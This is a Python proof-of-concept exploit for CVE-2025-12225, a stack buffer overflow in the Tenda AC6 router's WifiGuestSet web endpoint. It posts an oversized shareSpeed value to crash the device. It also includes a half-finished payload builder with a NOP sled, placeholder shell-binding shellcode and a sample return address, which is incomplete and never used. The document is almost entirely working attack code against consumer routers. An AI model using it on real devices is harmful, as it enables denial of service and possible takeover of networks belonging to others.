CVE-2025-12225

#!/usr/bin/env python3 # CVE-2025-12225 PoC - Tenda AC6 WifiGuestSet Stack Buffer Overflow # Target: Tenda AC6 Firmware 15.03.06.50 # Component: /goform/WifiGuestSet # Attack Vector: shareSpeed parameter overflow import requests import sys TARGET_IP = "192.168.0.1" # Default router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/WifiGuestSet" # Stack overflow payload generation # The exact offset may vary, this is a template def generate_payload(offset=1000): # NOP sled for shellcode alignment nop_sled = b"\x90" * 200 # Shellcode - binds shell to port 4444 (example) # This is a placeholder, actual shellcode depends on target architecture (MIPS little-endian) shellcode = b"\x00" * 100 # Placeholder for MIPS shellcode # Overflow with return address pointing to NOP sled padding = b"A" * (offset - len(nop_sled) - len(shellcode)) return_address = b"\x42\x84\x04\x08" # Example return address def exploit(target_ip, share_speed_value="A" * 1500): """Send malicious request to trigger buffer overflow""" print(f"[*] Targeting: {target_ip}") print(f"[*] Sending payload with shareSpeed length: {len(share_speed_value)}") # Construct HTTP POST request data = { "shareSpeed": share_speed_value, "isEnable": "1", "guestSSID": "GuestNetwork" } try: response = requests.post(TARGET_URL, data=data, timeout=5) print(f"[!] Response status: {response.status_code}") return response except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed") return None except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_IP # Generate overflow payload payload = "A" * 1500 exploit(target, payload)

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